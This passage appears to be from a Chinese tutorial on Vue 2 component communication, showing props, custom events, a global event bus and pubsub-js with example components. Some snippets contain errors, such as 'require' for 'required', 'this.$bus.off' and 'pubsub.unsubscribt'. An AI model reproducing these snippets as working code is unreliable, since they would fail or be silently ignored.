附:若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据
-
语法:
(1).传递数据: <Demo name="xxx"/> (2).接收数据: 第一种方式(只接收): props: [ "name" ] 第二种方式(限制类型): props:{ /* 接收参数名 */:/* 参数类型 */ name : Number } 第三种方式(限制类型、限制必要性、指定默认值): props:{ name:{ type:String,// 参数类型 required:true,// 必要性,决定是否必须传 default:'老王'// 默认值,一般配置了required就不用配置默认值 } 附:可以传递数组,对象,函数,字符串,数字...
例(父组件 ==> 子组件
):
Bokey
组件:
<template>
<div>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{MyAge}}</h2> <!-- 注意:这里是MyBokey组件的属性MyAge -->
<h2>性别:{{sex}}</h2>
<button @click="updateAge">点我加一岁</button>
</div>
</template>
<script>
export default {
name:'MyBokey',
data() {
return { // ↓ 接收的属性也可以使用"this.属性名"的方式获取
MyAge:this.age // 这里将接收到的参数传递到自己的属性中
}
},
// props接收其他组件参数的3种形式:
// 1.简单接收:
// props:['name','sex','age']
// 2.类型限制接收:
// props:{
// name:String,
// age:Number,
// sex:String
// }
// 3.多配置接收:
props:{
name:{
type:String,
require:true
},
age:{
type:Number,
default:18
},
sex:{
type:String,
require:true
}
},
methods:{
updateAge(){
this.MyAge++
}
}
}
</script>
App
组件:
<template>
<div id="app">
<h1>你好</h1>
<!-- 传递参数 ↓ ↓ 默认以字符串传递,若需要传递JS表达式值,需要使用":属性名='值'的形式" -->
<MyBokey name="Bokey" :age="20" sex="男"/>
</div>
</template>
<script>
import MyBokey from './components/Bokey.vue'
export default {
name: 'App',
components: {
MyBokey
}
}
</script>
结果(子组件MyBokey
收到参数,成功展示,并且加一岁功能可用):
例(子组件 ==> 父组件
):
Bokey
组件:
<template>
<div>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{MyAge}}</h2>
<h2>性别:{{sex}}</h2>
<button @click="updateAge">点我加一岁</button>
<button @click="spendAge">点我发送名字给App组件</button>
</div>
</template>
<script>
export default {
name:'MyBokey',
data() {
return {
MyAge:this.age
}
},
props:{
name:{
type:String,
require:true
},
age:{
type:Number,
default:18
},
sex:{
type:String,
require:true
},
// 子组件接收父组件提供的调用函数
AppReceive:{
require:true
}
},
methods:{
updateAge(){
this.MyAge++
},
spendAge(){ // 子组件调用父组件提供的调用函数,并传递参数(自己的数据)给该函数
this.AppReceive(this.MyAge)
}
}
}
</script>
App
组件:
<template>
<div id="app">
<h1>你好</h1> <!-- ↓ 父组件提供函数传递给子组件 -->
<MyBokey name="Bokey" :age="20" sex="男" :AppReceive="receive"/>
</div>
</template>
<script>
import MyBokey from './components/Bokey.vue'
export default {
name: 'App',
components: {
MyBokey
},
methods:{
// 父组件提供的调用函数
receive(data){
console.log("我是App组件,我收到了数据:"+data);
}
}
}
</script>
结果(点击按钮发送年龄给App):
总结:
/*
使用props属性的组件通信:
1.父组件 ==> 子组件(推荐):
Ⅰ.父组件在子组件的标签中携带数据给子组件(eg:<Bokey :子组件接收名="this.数据名" :子组件接收名="this.数据名" />)
Ⅱ.子组件使用props属性接收,完成通信
2.子组件 ==> 父组件:
Ⅰ.父组件在methods属性中准备函数(子组件传递的数据写在函数参数中),在子组件标签中携带该函数给子组件(eg:<Bokey :子组件接收名="this.方法名" />)
Ⅱ.子组件接收使用props接收父组件的函数,在合适时机调用(调用时将父组件需要的数据在函数参数中传递),完成通信
*/
组件的自定义事件
-
作用:用于组件通信,适用于
子组件 ==> 父组件
-
注意:自定义事件只能用在组件上!
-
语法:
(1)在父组件中绑定自定义事件(前提是准备好了事件回调函数): 第一种方式(传统绑定方式):<Bokey @/*事件名称*/:"事件回调函数名" /> 第二种方式($on绑定方式,更灵活): <Bokey ref="组件标记名" /> // 省略一些其他代码.... mounted(){ // 在mounted生命周期函数中绑定自定义事件 this.$refs./*组件标记名*/.$on("事件名称",this./*事件回调函数名*/) } (2)子组件触发自定义事件: this.$emit("事件名称",/*传递的数据*/) (3)解绑自定义事件: this.$off("事件名称") 附: 1.组件若需要使用原生的事件(eg:click事件),只需要绑定事件时:<Bokey @/*原生事件名*/.native="事件回调函数名" /> 2.触发自定义事件时,若输入的自定义事件名称不存在,并不会报错,Vue会就当没有事件触发处理 3.若事件回调函数不想定义在组件的methods属性中,可以定义在this.$refs./*组件标记名*/.$on()中: this.$refs./*组件标记名*/.$on("事件名称",(/*函数参数表列*/) => { // 函数体.... }) // 注意:必须使用箭头函数,不然函数体中的this指针不是本组件的组件实例(vc),而是绑定事件的组件的组件实例(vc)!
例(子组件 ==> 父组件
):
Bokey
组件:
<template>
<div class="Bokey">
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
<button @click="spendName">点我把名字给App</button>
<button @click="noCallFather">点我解绑自定义事件</button>
</div>
</template>
<script>
export default {
name:'MyBokey',
data() {
return {
name:'Bokey',
age:'20'
}
},
methods:{
spendName(){
// 触发callFather自定义事件 ↓ 传递参数name
this.$emit('callFather',this.name)
},
noCallFather(){
// this.$off() 解绑所有绑定在该组件身上的自定义事件
// this.$off(['callFather','callMother']) 解绑多个事件,注意:参数使用数组
this.$off('callFather') // 解绑单个事件
}
}
}
</script>
<style>
.Bokey {
background-color: skyblue;
padding: 5px;
}
</style>
App
组件:
<template>
<div class="app">
<h1>您好!{{sonName}}</h1>
<!-- 使用传统绑定事件方法绑定自定义事件 -->
<!-- ↓ 自定义事件callFather ↓ 事件回调函数getBokeyName -->
<!-- <MyBokey @callFather="getBokeyName"/> -->
<!-- 使用获取节点后$on()方法绑定自定义事件 -->
<MyBokey ref="Bokey" />
</div>
</template>
<script>
import MyBokey from './components/Bokey.vue'
export default {
name: 'App',
data() {
return {
sonName:''
}
},
components: {
MyBokey
},
methods:{
// 事件回调函数
getBokeyName(name){
console.log("我收到了:" + name);
this.sonName = name // 将name存入自己的data中
}
},
// 获取节点后,在mouted生命周期函数(挂载完毕后调用)中,绑定自定义事件
mounted(){
// this.$refs.Bokey.$once('callFather',this.getBokeyName) 使用$once()绑定事件,事件只触发一次
this.$refs.Bokey.$on('callFather',this.getBokeyName) // 使用$on()绑定事件
}
}
</script>
<style>
.app {
background-color: gray;
padding: 5px;
}
</style>
结果:
总结:
/*
对于 子组件 ==> 父组件 的组件通信,props属性实现方式和自定义事件的实现方式的异同:
不同点:props属性实现方式需要子组件使用props属性接收父组件传递过来的回调函数,自定义事件实现方式不用
相同点:它们都需要父组件提供一个回调函数给子组件,只是props属性实现方法需要将回调函数给子组件,而自定义事件实现方式是为子组件绑定事件,不用将函数给子组件
*/
全局事件总线(GlobalEventBus
)
-
定义:无论组件间关系如何,都能使用全局事件总线进行组件通信
-
语法:
(1)在Vue实例对象(vm)中安装全局事件总线: new Vue({ render: h => h(App), beforeCreate(){ // 在Vue实例对象的beforeCreate生命周期函数中安装 Vue.prototype.$bus = this //安装全局事件总线$bus,其实$bus就是当前应用的vm } }).$mount('#app') (2)通信组件接收方准备回调函数,同时为vm.$bus绑定事件 methods:{ // 定义回调 /*回调函数名*/(/*接收数据的参数表列*/){ // 回调函数处理... } } mouted(){// 依然在mounted生命周期函数中绑定自定义事件 // 为vm.$bus绑定自定义事件 this.$bus.$on('自定义事件名称',this./*回调函数名*/) }, beforeDestroy() { // 在beforeDestroy生命周期函数中解绑自定义事件,防止接收组件被销毁但事件依然在vm.$bus上绑定 // 为vm.$bus解绑自定义事件 this.$bus.$off('自定义事件名称') } (3)通信组件发送方触发事件,并发送数据 this.$bus.$emit('自定义事件名称',/*发送数据的参数表列*/)
例:
App
组件:
<template>
<div class="app">
<!-- MyBokey组件和LZH组件的关系的兄弟 -->
<MyBokey />
<LZH />
</div>
</template>
<script>
import MyBokey from './components/Bokey.vue'
import LZH from './components/LZH.vue'
export default {
name: 'App',
data() {
return {
}
},
components: {
MyBokey,LZH
}
}
</script>
<style>
.app {
background-color: gray;
padding: 5px;
}
</style>
main.js
文件中安装事件总线:
new Vue({
render: h => h(App),
beforeCreate(){
Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
}
}).$mount('#app')
我们以LZH
组件给Bokey
组件(组件关系为兄弟)发送数据为例:
Bokey
组件(数据接收方):
<template>
<div class="Bokey">
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
</div>
</template>
<script>
export default {
name:'MyBokey',
data() {
return {
name:'Bokey',
age:'20'
}
},
methods:{ // 回调函数准备
call(data){
console.log(data.name);
console.log(data.age);
}
},
mounted(){ // 依然在mounted生命周期函数中绑定自定义事件
// 为vm.$bus绑定自定义事件
this.$bus.$on('call',this.call)
},
beforeDestroy() { // 在beforeDestroy生命周期函数中解绑自定义事件
// 为vm.$bus解绑自定义事件
this.$bus.off('call')
}
}
</script>
<style scoped>
.Bokey {
background-color: skyblue;
padding: 5px;
margin-top: 5px;
}
</style>
LZh
组件(数据发送方):
<template>
<div class="LZH">
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
<button @click="spend">点我发送数据</button>
</div>
</template>
<script>
export default {
name:'MyBokey',
data() {
return {
name:'LZH',
age:'18'
}
},
methods:{
spend(){
// 使用vm.$bus触发事件
this.$bus.$emit('call',this._data)
}
}
}
</script>
<style scpoed>
.LZH {
background-color: pink;
padding: 5px;
margin-top: 5px;
}
</style>
结果:点击三次按钮
问题:
- 为什么选择Vue实例对象(vm)作为全局事件总线?
首先,我们得了解全局事件总线的原理,实际上,它从根本上使用的是自定义事件完成父组件和子组件通信。若想完成任意关系的组件都能通信,那么我们用通信双方组件共同的父组件作为中间键就可以完成,如下图:
因为对父组件的两个要求,得出父组件只能是Vue实例对象(vm)
或者Vue组件实例对象(vc)
;但在组件章节,我们知道组件实例对象(vc)是有多个(不方便管理)且需要自己new
出来的(Vue
在编译<Bokey/>
时帮程序员new
的,如果我们自己要就需要自己new
);所以我们最终希望全局事件总线为Vue实例对象,也就是vm。
事件总线大致工作原理:
消息订阅与发布(pubsub
)
-
作用:一种组件间通信的方式,适用于任意组件间的通信(和自定义事件基本相同)
-
语法:
(1)安装pubsub:在命令行终端输入"npm i pubsub-js" (2)引入pubsub:import pubsub from 'pubsub-js' (3)数据接收方准备回调函数,并订阅消息 methods:{ // 定义回调 /*回调函数名*/(/*消息名称接收参数*/,/* 数据接收表列 */){ // 回调函数处理... } } mouted(){// 在mounted生命周期函数中订阅消息 //使用pubsub订阅消息 // ↓ 接收订阅消息的id,方便取消订阅 this.pid = pubsub.subscribe('消息名称',this./*回调函数名*/) }, beforeDestroy() { // 在beforeDestroy生命周期函数中解绑订阅的消息,防止接收组件被销毁但消息依然订阅 // 取消this.pid的消息订阅 pubsub.unsubscribe(this.pid) } (4)数据发送方触发消息: pubsub.publish('消息名称',/* 数据 */) 附: 若消息回调函数不想定义在组件的methods属性中,可以定义在this.pid = pubsub.subscribe()中: this.pid = pubsub.subscribe('消息名称',(/*消息名称接收参数*/,/* 数据接收表列 */) => { // 函数体.... }) // 注意:必须使用箭头函数,不然函数体中的this指针不是本组件的组件实例(vc),而是undefined!
例:
Bokey
组件(数据接收方):
<template>
<div class="Bokey">
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
</div>
</template>
<script>
import pubsub from 'pubsub-js'
export default {
name:'MyBokey',
data() {
return {
name:'Bokey',
age:'20'
}
},
methods:{
call(msgName,data){ // 消息回调函数
console.log(data.name);
console.log(data.age);
}
},
mounted(){ // 消息订阅
this.pid = pubsub.subscribe('call',this.call)
},
beforeDestroy() { // 消息销毁
pubsub.unsubscribt(this.pid)
}
}
</script>
LZH
组件:
<template>
<div class="LZH">
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
<button @click="spend">点我发送数据</button>
</div>
</template>
<script>
import pubsub from 'pubsub-js'
export default {
name:'MyBokey',
data() {
return {
name:'LZH',
age:'18'
}
},
methods:{
spend(){ // 发送消息
pubsub.publish('call',{name:this.name,age:this.age})
}
}
}
</script>
结果: